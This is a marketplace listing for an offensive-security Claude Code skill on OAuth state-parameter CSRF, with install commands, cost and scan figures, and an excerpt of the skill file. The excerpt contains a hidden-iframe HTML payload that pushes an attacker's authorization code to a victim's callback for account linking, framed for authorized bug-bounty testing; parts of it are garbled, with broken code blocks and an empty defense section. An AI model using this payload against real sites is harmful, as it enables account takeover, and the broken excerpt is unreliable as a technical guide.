oauth-state-parameter-abuse

oauth-state-parameter-abuse is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 52 tokens per session (1,015 once invoked), scanned A, original, Apache-2.0.

A security testing method for OAuth sign-in and account-linking flows. OAuth is a standard that lets an application use an external provider such as Google, Facebook, or GitHub to authenticate a user; this method checks whether its state value is missing or poorly verified.

In plain words
What is it for?
Use it to test OAuth authorization requests, callbacks, account linking, state validation, and login flows in authorized applications.
Why use it?
It helps find cross-site request forgery flaws that could link an attacker’s external account to a victim’s session and lead to account takeover.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is > - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain pat.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Use it to test OAuth authorization requests, callbacks, account linking, state validation, and login flows in authorized applications.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/oauth-state-parameter-abuse

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for oauth-state-parameter-abuse

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/oauth-state-parameter-abuse/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/oauth-state-parameter-abuse)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/oauth-state-parameter-abuse"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/oauth-state-parameter-abuse/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for oauth-state-parameter-abuse

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/oauth-state-parameter-abuse"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/oauth-state-parameter-abuse.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 52 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,015 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00052 $0.01015
Opus 5 $0.00026 $0.00508
Sonnet 5 $0.00010 $0.00203
Haiku 4.5 $0.00005 $0.00102

Measured 9d ago against content hash aec43d15985d, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

oauth-state-parameter-abuse scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/bug-hunting/logic-flaws/oauth-state-parameter-abuse/SKILL.md · 123 lines

How it starts

The opening of the file, as written. The whole thing — 123 lines — stays where its author put it; the contents beside it link to each section on GitHub.

OAuth State Parameter Abuse

When to Use

  • When auditing web applications that use "Log in with [Google/Facebook/GitHub]" (OAuth 2.0 / OpenID Connect) or allow linking third-party accounts.
  • To test if the application is susceptible to CSRF attacks during the OAuth authorization flow, enabling attackers to link their own external accounts to a victim's session.

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Initiating the OAuth Flow

# Concept: The `state` parameter is ```

### Phase 2: Intercepting the Authorization Request

```http
# # beautifully GET /oauth/authorize?response_type=code&client_id=12345&redirect_uri=https%3A%2F%2Ftarget.com%2Fcallback&scope=email%20profile HTTP/1.1
Host: provider.com

Phase 3: Capturing the Callback (The CSRF Payload)

# https://target.com/callback?code=SPLIT_SECOND_CODE_FROM_ATTACKER

Phase 4: Delivering the Payload (Exploitation)

<!-- >
<html>
  <body>
    <!-- >
    <iframe src="https://target.com/callback?code=ATTACKER_UNPUBLISHED_CODE" style="display:none;"></iframe>
  </body>
</html>
Decision Point 🔀
flowchart TD
    A[Start OAuth ] --> B{State Parameter ]}
    B -->|Missing/Static| C[Capture Callback ]
    B -->|Verified| D[Check Logic ]
    C --> E[Exploit CSRF ]

🔵 Blue Team Detection & Defense

  • Strict State Validation: PKCE (Proof Key for Code Exchange): Key Concepts | Concept | Description | |---------|-------------|

Output Format

Oauth State Parameter Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Read the full file on GitHub · 123 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 123 lines · 52 tokens per session scan A aec43d15985d

Subscribe to this mod's changes

oauth-state-parameter-abuse is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 52 tokens to every session and 1,015 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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